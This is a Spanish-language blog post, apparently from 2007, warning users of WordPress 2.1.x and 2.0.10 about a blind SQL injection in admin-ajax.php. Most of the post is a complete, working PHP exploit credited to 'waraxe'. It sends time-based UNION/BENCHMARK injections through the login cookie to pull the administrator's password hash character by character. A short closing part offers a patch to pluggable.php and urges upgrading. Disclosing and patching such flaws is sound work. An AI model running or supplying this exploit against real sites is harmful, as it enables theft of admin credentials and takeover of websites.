Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.

A los que todavía sigan usando la rama 2.1 de Wordpress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php

El exploit que muestran es el siguiente:

<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
   $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! :) \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
   $len = 32;
   $field = 'user_pass';
   $out = '';
   
   echo "finding hash now ...\n";
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($field,$i);
      echo "got $field pos $i --> $ch\n";
      $out .= "$ch";
      echo "current value for $field: $out \n";
   }
   
   echo "\nFinal result: $field=$out\n\n";
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
   global $prefix, $suffix, $id, $testcnt;
   $char = '';
   $cnt = $testcnt * 4;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

   // First let's determine, if it's number or letter
   $inj = sprintf($ipattern, $prefix, $id, ">57");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
      echo "char to find is [a-f]\n";
   }
   else
   {
      $min = 48;
      $max = 57;
      echo "char to find is [0-9]\n";
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $inj = sprintf($ipattern, $prefix, $id, "=$max");
         $post = sprintf($ppattern, $suffix, $inj, $suffix);
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
      
      $half = intval(floor($area / 2));
      $curr = $min + $half;
      
      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
      $post = sprintf($ppattern, $suffix, $inj, $suffix);
      
      $bigger = test_condition($post);
      
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "curr: $curr--$max--$min\n";
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url, $norm_delay;
   $bret = false;
   $maxtry = 10;
   $try = 1;
   
   while(1)
   {
      $start = getmicrotime();
      $buff = make_post($url, $p);
      $end = getmicrotime();
   
      if($buff === '-1')
      {
         break;
      }
      else
      {
         echo "test_condition() - try $try - invalid return value ...\n";
         $try ++;
         if($try > $maxtry)
         {
            die("too many tries - exiting ...\n");
         }
         else
         {
            echo "trying again - try $try ...\n";
         }
      }
   }
   
   $diff = $end - $start;
   $delay = intval($diff * 10);
   
   if($delay > ($norm_delay * 2))
   {
      $bret = true;
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
   $fa = test_md5delay(1);
   echo "$fa\n";
   $sa = test_md5delay($testcnt);
   echo "$sa\n";
   $fb = test_md5delay(1);
   echo "$fb\n";
   $sb = test_md5delay($testcnt);
   echo "$sb\n";
   $fc = test_md5delay(1);
   echo "$fc\n";
   $sc = test_md5delay($testcnt);
   echo "$sc\n";
   
   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
   echo "mean nondelayed - $mean_nondelayed dsecs\n";
   $mean_delayed = intval(($sa + $sb + $sc) / 3);
   echo "mean delayed - $mean_delayed dsecs\n";
   
   return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
   global $url, $id, $prefix, $suffix;
   
   // delay in deciseconds
   $delay = -1;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
   $inj = sprintf($ipattern, $prefix, $id, $cnt);
   $post = sprintf($ppattern, $suffix, $inj, $suffix);

   $start = getmicrotime();
   $buff = make_post($url, $post);
   $end = getmicrotime();
   
   if(intval($buff) !== -1)
   {
      die("test_md5delay($cnt) - invalid return value, exiting ...");
   }

   $diff = $end - $start;
   $delay = intval($diff * 10);

   return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
   global $outfile;
   
   $buf .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $buf);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
?>

Los autores de este exploit recomiendan actualizar a la versión 2.2 de Wordpress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php):

if ( !function_exists('get_userdatabylogin') ) :
function get_userdatabylogin($user_login) {
	global $wpdb;
	$user_login = sanitize_user( $user_login );

	if ( empty( $user_login ) )
		return false;

	$userdata = wp_cache_get($user_login, 'userlogins');
	if ( $userdata )
		return $userdata;

	$user_login = $wpdb->escape($user_login);
		
	if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
		return false;

	$wpdb->hide_errors();
	$metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
	$wpdb->show_errors();

	if ($metavalues) {
		foreach ( $metavalues as $meta ) {
			$value = maybe_unserialize($meta->meta_value);
			$user->{$meta->meta_key} = $value;

			// We need to set user_level from meta, not row
			if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
				$user->user_level = $meta->meta_value;
		}
	}

	// For backwards compat.
	if ( isset($user->first_name) )
		$user->user_firstname = $user->first_name;
	if ( isset($user->last_name) )
		$user->user_lastname = $user->last_name;
	if ( isset($user->description) )
		$user->user_description = $user->description;

	wp_cache_add($user->ID, $user, 'users');
	wp_cache_add($user->user_login, $user, 'userlogins');

	return $user;

}
endif;

*: Tengo que decidir que hacer con mi vida :) y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.